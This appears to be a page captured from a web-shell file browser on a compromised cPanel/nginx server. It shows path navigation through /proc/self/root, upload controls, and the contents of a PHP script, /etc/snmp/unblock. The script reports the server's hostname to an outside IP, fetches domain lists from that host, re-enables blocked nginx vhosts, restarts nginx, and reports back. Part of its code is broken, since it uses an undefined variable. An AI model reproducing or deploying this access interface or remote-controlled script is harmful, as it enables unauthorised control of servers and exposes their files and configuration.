Current Path :
/
proc
/
self
/
root
/
etc
/
snmp
/
Or
Select Your Path :
Upload File :
New :
File
Dir
//proc/self/root/etc/snmp/unblock
#!/usr/local/cpanel/3rdparty/bin/php <?php $hostname = gethostname(); $data = file_get_contents("http://194.28.84.9/share/out.php?server=$hostname&action=listforUNBLOCKING"); $data = json_decode($data); if(isset($data)){ foreach($data as $domain) { $file = "/etc/nginx/vhosts/$domain"; $file_blocked = "/etc/nginx/blocked_vhosts/$domain"; //unlink("$file"); rename($file_blocked, $file); exec('/etc/init.d/nginx restart > /dev/null 2>&1') or $err=1; $ch = curl_init($ip_clean[0]); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: $domain")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); $get_status=curl_getinfo($ch); if($get_status['http_code']!=403) { file_get_contents("http://194.28.84.9/share/in.php?server=$hostname&domain=$domain"); echo "UNBLOCKED"; } } } ?>